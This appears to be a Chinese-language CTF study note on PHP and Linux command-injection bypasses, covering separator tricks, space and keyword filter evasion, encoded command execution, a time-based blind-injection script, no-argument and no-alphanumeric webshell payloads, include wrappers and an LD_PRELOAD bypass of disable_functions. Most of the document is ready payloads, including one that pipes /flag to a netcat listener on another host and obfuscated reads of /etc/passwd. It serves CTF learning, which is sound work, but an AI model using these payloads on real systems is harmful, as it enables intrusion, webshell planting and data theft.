目录
操作系统连接符:
常见函数:
绕过过滤:
空格过滤绕过:
1、大括号{}:
2、$IFS代替空格:
3、重定向字符<,<>
4、%09绕过(相当于Tab键)
文件名过滤绕过:
1、??,*绕过
2、单引号(')双引号("")反引号(``)绕过正则
3、反斜杠\绕过
4、特殊变量:$1到$9、$@和$*
5、内联执行绕过
6、利用linux中的环境变量
常见文件读取命令绕过:
1、base64编码:
2、base32编码同理
3、HEX编码(ASCII编码)
读取命令被绕过:
1、tac:反向显示,从最后一行开始往前显示
2、more:一页一页显示档案内容
3、less:与more类似
4、tail:查看末尾几行
5、nl:显示的时候,顺便输出行号
6、od:以二进制方式读取档案内容。正常的od /flag输出的纯纯二进制
7、xxd:读取二进制文件
8、sort:主要用于排序文件
9、uniq:报告或删除文件中重复的行,其实当成cat用就行
10、file -f:报错出具体内容
11、grep:在文本中查找指定字符串
12、strings:
无回显时间盲注:
相关命令:1.sleep
2.awk:逐行获取数据3.cut -ccut命令逐列获取单个字符
4、if语句:判断命令是否执行
长度过滤:
前置知识:
组合运用示例:
dir及*:
长度限制为7绕过方法:
无参数命令执行绕过:
无参数RCE题目特征:
相关函数简要介绍:
方法一:scandir() 最常规的通解
方法二:session_id()
法一:hex2bin()
法二:读文件
方法三:getallheaders()
方法四:get_defined_vars()
方法五:chdir()&array_rand()赌狗读文件
利用getcwd()获取当前目录:
读上一级文件名:
读根目录:
要用chdir()固定,payload:
通过bp的intruder模块来读到根目录:
无字母数字绕过:
题目标志:
自增绕过:
取反绕过:
异或绕过:
获取GET/POST参数绕过:
LD_ PRELOAD绕过(函数很多被ban/disable_functions限制/open_basedir限制):
操作系统连接符:
拼接命令
分号;:多个命令无论对错顺序执行
比如源码是system("ls".$cmd)为了读取flag我们可以对cmd传参
cmd=;cat /flag
这样会先查看目录后读取flag文件
&:作用和分号一样,但是在使用的时候要把&进行URL编码为%26才能正常执行
cmd=%26cat /flag
&&:前面命令执行不成功后面命令无法执行
cmd=ls%26%26cat /flag #成功执行
cmd=-11%26%26cat /flag #两条命令都不执行
管道输出符|:前面命令的输出作为后面命令的输入,把前面命令的结果作为后面命令的参数;前面后面的命令都执行,但是只显示后面的命令执行结果。
||:前面的命令执行成功,则后面的命令不会执行;前面的命令执行失败,则后面的命令执行(类似if-else语句)
常见函数:
(至少记住每个函数的两点1、有没有回显2、参数怎么放)
system:语法为system(string $command, int &$return var = ?),command: 执行 command 参数所指定的命令常用参数并且输出执行结果,如果提供 return var 参数,则外部命令执行后的返回状态将会被设置到此变量中。示例:system('ls')会直接返回当前文件下的目录。该函数提交命令自己回显
exec:示例exec("cat /flag"),其本身没有回显
passthru(读取二进制流):system()的平替,写个命令就会执行命令,自己能回显
shell_exec和反引号``:格式分别为shell_exec(ls)和`ls`,不能自己回显,需要借用echo\print等输出结果
popen:语法为popen(string $command, string $mode),command参数: 要执行的命令,mode参数: 模式'r'表示阅读,'w' 表示写入。不能自己回显,需要print_r等输出内容
proc_popen:语法为proc_open($command,$descriptor spec,$pipes,$cwd,$env vars,$options),
$command
是要执行的命令。$descriptorspec
是一个描述符规范数组,用于指定进程的输入、输出和错误的文件描述符。$pipes
是一个引用变量,用于存储与进程相关的管道。$cwd
(可选)是设置子进程的当前工作目录。$env
(可选)是设置子进程的环境变量。$other_options
(可选)是其他选项,如设置超时等。
我也不太清楚,但是挺复杂的参数多,而且不能自己回显
pcntl_exec:语法格式为pcntl exec(string $path, array $args = ?, array $envs = ?)
path必须时可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本 (比如文件第一行是#!/usr/local/bin/perl的perl脚本)。args是一个要传递给程序的参数的字符串数组。
envs是一个要传递给程序作为环境变量的字符串数组。这个数组是 key => value格式的,key代表要传递的环境变量的名称,value代表该环境变量值。该函数没有回显,解决方法一:cat文件并输出到有权限读取路径;解决方法二:shell反弹
绕过过滤:
include('')+伪协议文件包含读取
空格过滤绕过:
1、大括号{}:
{cat,flag.php}
2、$IFS代替空格:
$IFS$9,${IFS},$IFS这三个都行
Linux下有一个特殊的环境变量叫做IFS,叫做内部字段分隔符 (internal field separator)。
?cmd=ls$IFS-I
单纯$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名
?cmd=ls${IFS}-l
$IFS$9后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者始终为空字符串。
?cmd=ls${IFS}$9-l
3、重定向字符<,<>
4、%09绕过(相当于Tab键)
文件名过滤绕过:
1、??,*绕过
passthru代替system,过滤flag文件名用?,*绕过
cat /fl??
cat /f* #多个匹配结果同时展现
以上指令等效于cat /flag
2、单引号(')双引号("")反引号(``)绕过正则
cat /fl""ag
c""at /e't'c/pas``s``wd
对php来说这是fl""ag而不是flag关键字不会匹配上,但是对于linux系统来说cat /fl""ag等效于cat /flag。外面包裹的是单引号里面就是双引号,外面包裹的是双引号里面就是单引号,或者用斜线\去掉功能性,避免报错
passthru('cat /fl""ag.p\'\'hp')
3、反斜杠\绕过
\特殊字符去掉功能性,单纯表示为字符串,而linux看到反斜线\会自动帮你去掉,正常执行命令
cat fl\ag.p\hp
4、特殊变量:$1到$9、$@和$*
这些特殊变量输出为空
cat /fl$9ag
cat /fl$@ag
或者在单词结尾处插入$x,这里的x可以是任意字母,例如可以写成如下形式:
c$@at /e$@tc/pas$@swd
cat$x /etc$x/passwd$x
ca$@t /etc$x/passwd$x
5、内联执行绕过
a=c;b=a;c=t;$a$b$c /1.txt
a=f;c=a;d=g;b=l;cat $a$b$c$d.php(abcd拼接出来flag)
6、利用linux中的环境变量
使用环境变量里的字符执行变量
echo $PATH #PATH默认系统环境变量
如果出现:
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
echo f${PATH:5:1}${PATH:8:1}${PATH:66:1}.${PATH:93:1}h${PATH:93:1}
表示了flag.php
比如${PATH:5:1}指的是取路径的第五位(从0开始数,第0位是/)的字符,步长为1,即只取一个字母l,以此类推就能拼接成关键字flag.php
常见文件读取命令绕过:
1、base64编码:
cat flag.php--> Y2FOIGZSYWcucGhw
echo Y2FOIGZsYWcucGhw | base64 -d
管道符|把前面指令执行的结果,变成后面指令的参数,所以这里会解码读取命令
执行命令的话有三种形式:
echo Y2FOIGZsYWcucGhw | base64 -d | bash
$(echo Y2FOIGZsYWcucGhw | base64 -d)
`echo Y2FOIGZsYWcucGhw | base64 -d` #反引号
把cat flag.php,放在bash里执行,同理想换成什么命令就base64编码后替换
2、base32编码同理
?cmd=system('echo "MNQXIIDGNRQWOLTQNBYA===="|base32 -d|/bin/bash');
3、HEX编码(ASCII编码)
python脚本
import binascii
s = b"tac flag"
h = binascii.b2a_hex(s)
print(h)
tac flag--> 74616320666c6167
echo "74616320666c6167”|xxd -r -p|bash
xxd: 二进制显示和处理文件工具。
-r-p将纯十六进制转储的反向输出打印为了ASCII格式
bash、sh、/bin/bash、反引号等
?cmd=passthru('echo "74616320666c6167”|xxd -r -p|bash');
4、shellcode编码(16进制的机器码)
?cmd=passthru('printf"\x74\x61\x63\x20\x66\x6c\x61\x67\x2e\x70\x68\x70"|bash');?cmd=passthru('`printf"\x74\x61\x63\x20\x66\x6c\x61\x67\x2e\x70\x68\x70"`');
?cmd=passthru('$(printf"\x74\x61\x63\x20\x66\x6c\x61\x67\x2e\x70\x68\x70")');
读取命令被绕过:
比如说过滤了cat,在这之前先分清
cat flag.php
是用于在终端上显示当前目录下名为flag.php
的文件的内容。
cat /flag
是用于在终端上显示根目录下名为flag
的文件的内容。
cat flag
是用于在终端上显示当前目录下名为flag
的文件的内容。
正常来说flag放在根目录下,不过也可能是在当前网页目录下
别的指令也同理
1、tac:反向显示,从最后一行开始往前显示
tac /flag
2、more:一页一页显示档案内容
more flag.php
3、less:与more类似
4、tail:查看末尾几行
5、nl:显示的时候,顺便输出行号
nl /flag
nl /flag
和 nl flag
是不同的。
在 Linux 系统中,nl
命令用于给文件添加行号。当使用 nl /flag
命令时,/flag
被视为一个文件路径,并将该文件的内容输出到标准输出(通常是终端),并在每一行前添加行号。如果 /flag
文件存在且有读取权限,那么 nl /flag
将会给该文件的内容添加行号。
而当使用 nl flag
命令时,flag
被视为一个相对于当前目录的文件路径。也就是说,nl flag
命令将会尝试在当前目录下找到名为 flag
的文件,并给其内容添加行号。(不过flag一般在根目录)
6、od:以二进制方式读取档案内容。正常的od /flag输出的纯纯二进制
想看到文件内容需要:
passthru("od -A d -c /fla\g");
7、xxd:读取二进制文件
xxd /flag
8、sort:主要用于排序文件
so?t /flag
/usr/bin/s?rt /flag
/usr/bin/sort
和 sort
实际上是同一个命令。/usr/bin
目录是系统的标准目录之一,它包含了许多系统命令和工具的二进制文件,而 sort
命令通常就存放在 /usr/bin
目录中,因此/usr/bin/sort /flag
和 sort /flag
是等价的。有时候sort不行可能/usr/bin/s?rt可以
9、uniq:报告或删除文件中重复的行,其实当成cat用就行
10、file -f:报错出具体内容
passthru("file -f /flag");
11、grep:在文本中查找指定字符串
passthru("grep fla /fla*");
grep fla /fla*
命令会匹配根目录下所有以 fla
开头的文件(不包括子目录),然后将这些文件中包含字符串 fla
的行输出到终端上。因此,这个命令会搜索根目录下以 fla
开头的所有文件,并匹配其中包含 fla
字符串的行。
而 grep fla fla*
命令中 fla*
是当前目录下以 fla
开头的所有文件的通配符,它会匹配当前目录下所有以 fla
开头的文件,然后将这些文件中包含字符串 fla
的行输出到终端上。因此,这个命令只会搜索当前目录下以 fla
开头的文件,并匹配其中包含 fla
字符串的行。
12、strings:
相当于cat
无回显时间盲注:
逻辑和SQL注入的时间盲注差不多
相关命令:
1.sleep
sleep 5 #5秒之后返回结果
2.awk:逐行获取数据
3.cut -c
cut命令逐列获取单个字符
cat flag | awk NR==2 | cut -c 1 #获取第一个字符
cat flag | awk NR==2 | cut -c 2 #获取第二个字符
4、if语句:判断命令是否执行
if [ $(cat flag | awk NR==2 | cut -c 1) == F ];then sleep 2;fi
if里的判断语句为真的话,则执行sleep 2,休眠2秒后返回结果
时间注入脚本:
import requests
import time
url ="http://192.168.1.6:19080/class08/1.php"
result = ""
for i in range(1,5): //定义i、j、k三个变量
for j in range(1,10):
for k in range(32,128): //ascii码表
k=chr(k) //把ascii码转换成字母,HEX编码变成字符
time.sleep(0.1) //i定义读取1-5行,i定义读取1-55个字符
payload = "?cmd=" + f"if[ `ls | awk NR=={i} | cut -c {j}`=={k}];then sleep 2;fi"
try:
requests.get(url=url+payload, timeout=(1.5,1.5))
except:
result = result + k //把值加入result,print输出显示
print(result)
break
result += ""
长度过滤:
前置知识:
>和>>:
>b 类似于touch b,即直接创建文件b,通过>来将命令执行结果写入文件会覆盖掉文件原本的内容
echo kuai > a #创建文件a,并把字符串'kuai'写入到文件a里
>>用来追加内容
kuai >>a #在文件a末尾追加字符串'kuai'
ls -t命令:按时间顺序,由近及远排序(后创建的排在前面,只能精确到秒)
组合运用示例:
#>ag
#>fl
#>"t"
#>ca
#ls -t
ca 't ' fl ag
按时间顺序反向依次创建文件,"ca" "'t " "fl" "ag"
再通过ls -t > x,创建文件x,并把'Is -t执行结果写入文件x里 。
实际上在创建文件时,加入”\",把命令"ca""t""f""ag"连接起来
#>ag
#fl\\
#>"t\\"
#>ca\\
#ls -t > a
前面的‘\’把后面的‘\’实体化变成字符 ,把一段已经拼接好的文件名输出到输出到一个文件a里,然后把这个文件a当成一个脚本去执行
sh:sh命令是shell命令语言解释器,执行命令从标准输入读取或从一个文件中读取
dir及*:
*:相当于$(dir *)
#dir *
echo ffff
#$(dir *)
ffff //执行echo命令输出ffff
#*
ffff //执行echo命令输出ffff
如果第一个文件名是命令的话就会执行命令,返回执行的结果,之后的文件名作为参数传入
rev:翻转文件每一行内容
长度限制为7绕过方法:
期望执行的命令:
cat /flag|nc 192.168.1.124 7777
cat /flag展示内容,再通过nc反弹提交到192.168.1.124:7777,kali的IP地址192.168.1.124监听端口7777
去kali把监听打开 :
nc -lvp 7777
利用逻辑:
>创建短的文件名
Is -t 按时间顺序列出文件名,按行储存
\连接换行命令
sh从文件中读取命令
?cmd=>7777
?cmd=>\ \\
?cmd=>>124\\
?cmd=>1.\\
?cmd=>168.\\
?cmd=>192.\\
?cmd=>c\ \\
?cmd=>\|n\\
?cmd=>flag\\
?cmd=>t\ \\
?cmd=>ca\\ #从近往远的文件名能构成命令cat /flag|nc 192.168.1.124 7777
?cmd=ls -t>a #将文件名按从近往远的顺序写入到文件a
脚本执行:
import time
import requests
baseurl="url"
s = requests.session()
list=[
'>7777',
'>ca', #中间的内容自己补充
'ls -t>a'
]
for i in list:
time.sleep(1)
url = baseurl+str(i)
s.get(url)
s.get(baseurl+"sh a")
无参数命令执行绕过:
无参数RCE题目特征:
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
eval($_GET['star']);
}
正则表达式 [^\W]+\((?R)?\)
匹配了一个或多个非标点符号字符(表示函数名),后跟一个括号(表示函数调用)。其中 (?R)
是递归引用,它只能匹配和替换嵌套的函数调用,而不能处理函数参数。使用该正则表达式进行替换后,每个函数调用都会被删除,只剩下一个分号 ;
,而最终结果强等于;时,payload才能进行下一步。简而言之,无参数rce就是不使用参数,而只使用一个个函数最终达到目的。
scandir()可以使用里面不含参数
scandir('1')不可以使用,里面含有参数1,无法被替换删除
相关函数简要介绍:
scandir() :将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前目录下的所有文件和目录名称(glob()可替换)
localeconv() :返回一包含本地数字及货币格式信息的数组。(但是这里数组第一项就是‘.’,这个.的用处很大)
current() :返回数组中的单元,默认取第一个值。pos()和current()是同一个东西
getcwd() :取得当前工作目录
dirname():函数返回路径中的目录部分
array_flip() :交换数组中的键和值,成功时返回交换后的数组
array_rand() :从数组中随机取出一个或多个单元
array_reverse():将数组内容反转
strrev():用于反转给定字符串
getcwd():获取当前工作目录路径
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。
eval()、assert():命令执行
hightlight_file()、show_source()、readfile():读取文件内容
举个例子scandir('.')是返回当前目录,虽然我们无法传参,但是由于localeconv() 返回的数组第一个就是‘.’,current()取第一个值,那么current(localeconv())就能构造一个‘.’,那么以下就是一个简单的返回查看当前目录下文件的payload:
?参数=var_dump(scandir(current(localeconv())));
数组移动操作:
end() : 将内部指针指向数组中的最后一个元素,并输出
next() :将内部指针指向数组中的下一个元素,并输出
prev() :将内部指针指向数组中的上一个元素,并输出
reset() : 将内部指针指向数组中的第一个元素,并输出
each() : 返回当前元素的键名和键值,并将内部指针向前移动
方法一:scandir() 最常规的通解
引入一道例题BuuCTF [GXYCTF2019]禁止套娃,代码如下:
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
第一眼看见第二个if语句,if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))可以看出这是典型的无参数rce,然后是后面的if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp']),这里限制了phpinfo(),getcwd()这些函数用不了
最终payload为:
?exp=highligth_file(next(array_reverse(scandir(current(localeconv())))));
接下来逐个解析,1、 这里的var_dump(localeconv());我们能看见第一个string[1]就是一个“.”,这个点是由localeconv()产生的
2、 利用current()
函数将这个点取出来的,‘.’
代表的是当前目录,那接下来就很好理解了,我们可以利用这个点完成遍历目录的操作,相当于就是linux
中的ls
指令
3、既然current()取第一个值,那么current(localeconv())构造一个‘.’,而
'.'
表示当前目录,scandir('.')
将返回当前目录中的文件和子目录,这里我们得知flag所在的文件名就是flag.php
4、然而flag的文件名在比较后端我们可以通过array_reverse()将数组内容反转,让它从倒数第二的位置变成正数第二
5、移动指针读取第二个数组,参照下列数组移动操作可知我们应选用next()函数:
end() : 将内部指针指向数组中的最后一个元素,并输出
next() :将内部指针指向数组中的下一个元素,并输出
prev() :将内部指针指向数组中的上一个元素,并输出
reset() : 将内部指针指向数组中的第一个元素,并输出
each() : 返回当前元素的键名和键值,并将内部指针向前移动
6、最后用highlight_file()返回文件内容
使用最多最灵活的一个函数,可以构造出不同用法,这里直接引用了别人的payload:
highlight_file(array_rand(array_flip(scandir(getcwd())))); //查看和读取当前目录文件
print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件
print_r(scandir(next(scandir(getcwd())))); //查看上一级目录的文件
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); //读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));//读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));//读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv()))))))))))));//这个得爆破,不然手动要刷新很久,如果文件是正数或倒数第一个第二个最好不过了,直接定位
//查看和读取根目录文件
//查看和读取根目录文件
方法二:session_id()
使用条件:当请求头中有cookie时(或者走投无路手动添加cookie头也行,有些CTF题不会卡)
首先我们需要开启session_start()
来保证session_id()的使用,session_id
可以用来获取当前会话ID,也就是说它可以抓取PHPSESSID后面的东西,但是phpsession不允许()出现
法一:hex2bin()
我们自己手动对命令进行十六进制编码,后面在用函数hex2bin()解码转回去,使得后端实际接收到的是恶意代码。我们把想要执行的命令进行十六进制编码后,替换掉‘Cookie:PHPSESSID=’后面的值
以下是十六进制编码脚本:
<?php
$encoded = bin2hex("phpinfo();");
echo $encoded;
?>
得到phpinfo();的十六进制编码,即706870696e666f28293b
那么payload就可以是:
?参数=eval(hex2bin(session_id(session_start())));
同时更改cookie后的值为想执行的命令的十六进制编码
法二:读文件
例题依然是[GXYCTF2019]禁止套娃,在知道文件名为flag.php的情况下直接读文件
如果已知文件名,把文件名写在PHPSESSID后面,构造payload为:
readfile(session_id(session_start()));
方法三:getallheaders()
getallheaders()返回当前请求的所有请求头信息,局限于Apache(apache_request_headers()和getallheaders()功能相似,可互相替代,不过也是局限于Apache)
当确定能够返回时,我们就能在数据包最后一行加上一个请求头,写入恶意代码,再用end()函数指向最后一个请求头,使其执行,payload:
var_dump(end(getallheaders()));
这里借用别人的图演示:
sky是自己添加的请求头, end()指向最后一行的sky后的代码,达到phpinfo的目的,然后可以进一步去rce。
方法四:get_defined_vars()
相较于getallheaders()更加具有普遍性,它可以回显全局变量$_GET、$_POST、$_FILES、$_COOKIE,
返回数组顺序为$_GET-->$_POST-->$_COOKIE-->$_FILES
首先确认是否有回显:
print_r(get_defined_vars());
假如说原本只有一个参数a,那么可以多加一个参数b,后面写入恶意语句,payload:
a=eval(end(current(get_defined_vars())));&b=system('ls /');
把eval换成assert也行 ,能执行system('ls /')就行
方法五:chdir()&array_rand()赌狗读文件
实在无法rce,可以考虑目录遍历进行文件读取
利用getcwd()
获取当前目录:
var_dump(getcwd());
结合dirname()列出当前工作目录的父目录中的所有文件和目录:
var_dump(scandir(dirname(getcwd())));
读上一级文件名:
?code=show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
?code=show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
?code=show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));
读根目录:
ord() 函数和 chr() 函数:只能对第一个字符进行转码,ord() 编码,chr)解码,有概率会解码出斜杠读取根目录
?code=print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
要用chdir()固定,payload:
?code=show_source(array_rand(array_flip(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array() )))))))))));
通过bp的intruder模块来读到根目录:
无字母数字绕过:
题目标志:
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}
解决问题的核心思路是,将非字母、数字的字符经过各种变换,最后能构造出a-z中任意一个字符。然后再利用PHP允许动态函数执行的特点,拼接处一个函数名,如“assert”,然后动态执行之即可。
在此之前需要区分一下php5和php7:
1、php5中assert是一个函数,我们可以通过
$f='assert';$f(...);
这样的方法来动态执行任意代码。但php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。但也无需过于担心,比如我们利用file_put_contents函数,同样可以用来getshell。2、php5中,是不支持($a)()这种调用方法的,但在PHP7中支持这种调用方法,因此支持这么写('phpinfo')();
自增绕过:
"A"++ ==> "B"
"B"++ ==> "C"
如果我们能够得到"A",那么我们就能通过自增自减,得到所有的字母。
那么问题就转化为怎么得到一个字符"A"。在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为"Array"。再取这个字符串的第一个字母,就可以获得"A"。
<?php
$a = ''.[];
var_dump($a);
输出的会是Array
因此有payload:
<?php
$_=[].''; //得到"Array"
$___ = $_[$__]; //得到"A",$__没有定义,默认为False也即0,此时$___="A"
$__ = $___; //$__="A"
$_ = $___; //$_="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"S",此时$__="S"
$___ .= $__; //$___="AS"
$___ .= $__; //$___="ASS"
$__ = $_; //$__="A"
$__++;$__++;$__++;$__++; //得到"E",此时$__="E"
$___ .= $__; //$___="ASSE"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++; //得到"R",此时$__="R"
$___ .= $__; //$___="ASSER"
$__++;$__++; //得到"T",此时$__="T"
$___ .= $__; //$___="ASSERT"
$__ = $_; //$__="A"
$____ = "_"; //$____="_"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"P",此时$__="P"
$____ .= $__; //$____="_P"
$__ = $_; //$__="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"O",此时$__="O"
$____ .= $__; //$____="_PO"
$__++;$__++;$__++;$__++; //得到"S",此时$__="S"
$____ .= $__; //$____="_POS"
$__++; //得到"T",此时$__="T"
$____ .= $__; //$____="_POST"
$_ = $$____; //$_=$_POST
$___($_[_]); //ASSERT($POST[_])
POST请求体传入:
_=phpinfo();
取反绕过:
脚本:
<?php
$a=urlencode(~'system');
echo $a;
?>
得到的就是system取反后的结果,然后把system替换为cat /flag得到cat /flag的编码,最后在这两个括号(~)(~);里分别填上编码,第一个括号填system的,第二个填cat /flag的
以下是system('cat /flag')的payload:
(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);
phpinfo:(php7中)
(~%8F%97%8F%96%91%99%90)();
另一个payload:
shell=(~%9c%9e%93%93%a0%8a%8c%9a%8d%a0%99%8a%91%9c)(~%8c%86%8c%8b%9a%92,~%88%97%90%9e%92%96,'');
其中~%9c%9e%93%93%a0%8a%8c%9a%8d%a0%99%8a%91%9c是"call_user_func",~%8c%86%8c%8b%9a%92是"system",~%88%97%90%9e%92%96是"whoami"。
异或绕过:
借鉴别人的poc:
<?php
$shell = "assert";
$result1 = "";
$result2 = "";
for($num=0;$num<=strlen($shell);$num++)
{
for($x=33;$x<=126;$x++)
{
if(judge(chr($x)))
{
for($y=33;$y<=126;$y++)
{
if(judge(chr($y)))
{
$f = chr($x)^chr($y);
if($f == $shell[$num])
{
$result1 .= chr($x);
$result2 .= chr($y);
break 2;
}
}
}
}
}
}
echo $result1;
echo "<br>";
echo $result2;
function judge($c)
{
if(!preg_match('/[a-z0-9]/is',$c))
{
return true;
}
return false;
}
这个POC可以将"assert"变成两个字符串异或的结果。为了便于表示,生成字符串的范围我均控制为可见字符(即ASCII为33~126),如果要使POC适用范围更广,可以改为0~126,只不过对于不可见字符,需要用url编码表示。
使用这个POC,我们可以得到:
<?php $_ = "!((%)("^"@[[@[\\"; //构造出assert $__ = "!+/(("^"~{`{|"; //构造出_POST $___ = $$__; //$___ = $_POST $_($___[_]); //assert($_POST[_]);
由于有些时候payload包括有一些特殊字符,我们需要对Payload进行一次URL编码。
获取GET/POST参数绕过:
pyload1:?c=include%0a$_POST[a]?>
post:a=data://text/plain,<?php eval(system("tac flag.php"))?>
pyload2:c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
pyload3: c=include$_GET[1]?>&1=data://text/plain,<?php system("nl flag.php")?>
pyload4:c=?><?=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
LD_ PRELOAD绕过(函数很多被ban/disable_functions限制/open_basedir限制):
前置知识:程序的链接
静态链接: 在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开
装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。
运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。
对于动态链接来说,需要一个动态链接库,其作用在于当动态库中的函数发生变化对于可执行程序来说时透明的,可执行程序无需重新编译,方便程序的发布/维护/更新。
动态链接: 假如程序动态加载的函数是恶意的,就有可能导致disable function被绕过。
原理:
LD_PRELOAD,修改库文件,它可以影响程序的运行时的链接 (Runtime linker) ,它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。
通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库,使用自己的或是更好的函数 (无需别人的源码)也可以向别人的程序注入恶意程序。
绕过条件:
1、能够上传自己的.so文件;
2、能够控制环境变量的值 (设置LD_PRELOAD变量),比如putenv函数并且未被禁止
3、存在可以控制PHP启动外部程序的函数并能执行 (因为新进程启动将加载LD_PRELOAD中的.so文件),比如mail()(php内嵌了)、imap mail()、mb send mail()和error log()等
这里粘贴一篇文章里的内容:
无需sendmail:巧用LD_PRELOAD突破disable_functions - FreeBuf网络安全行业门户
通常来说,导致 webshell 不能执行命令的原因大概有三类:一是 php.ini 中用 disable_functions 指示器禁用了 system()、exec() 等等这类命令执行的相关函数;二是 web 进程运行在 rbash 这类受限 shell 环境中;三是 WAF 拦劫。若是一则无法执行任何命令,若是二、三则可以执行少量命令。从当前现象来看,很可能由 disable_functions 所致。为验证,我利用前面的 RCE 漏洞执行 phpinfo(),确认的确如此:
有四种绕过 disable_functions 的手法:第一种,攻击后端组件,寻找存在命令注入的、web 应用常用的后端组件,如,ImageMagick 的魔图漏洞、bash 的破壳漏洞;第二种,寻找未禁用的漏网函数,常见的执行命令的函数有 system()、exec()、shell_exec()、passthru(),偏僻的 popen()、proc_open()、pcntl_exec(),逐一尝试,或许有漏网之鱼;第三种,mod_cgi 模式,尝试修改 .htaccess,调整请求访问路由,绕过 php.ini 中的任何限制;第四种,利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果。
步骤:
1、生成一个我们的恶意动态链接库文件
2、利用putenv
设置LD_PRELOAD为我们的恶意动态链接库文件的路径
3、配合php的某个函数去触发我们的恶意动态链接库文件
4、RCE并获取flag
蚁剑:
选择LD_PRELOAD或者PHP7_GC_UAF后点击开始,即可开始命令执行
参考链接:
无字母数字webshell之提高篇 | 离别歌
https://www.cnblogs.com/pursue-security/p/15404150.html
https://arsenetang.github.io/2021/07/23/RCE%E7%AF%87%E4%B9%8B%E6%97%A0%E5%9B%9E%E6%98%BErce/
总结的还不全也不深入,等后面学的精了应该再继续补上吧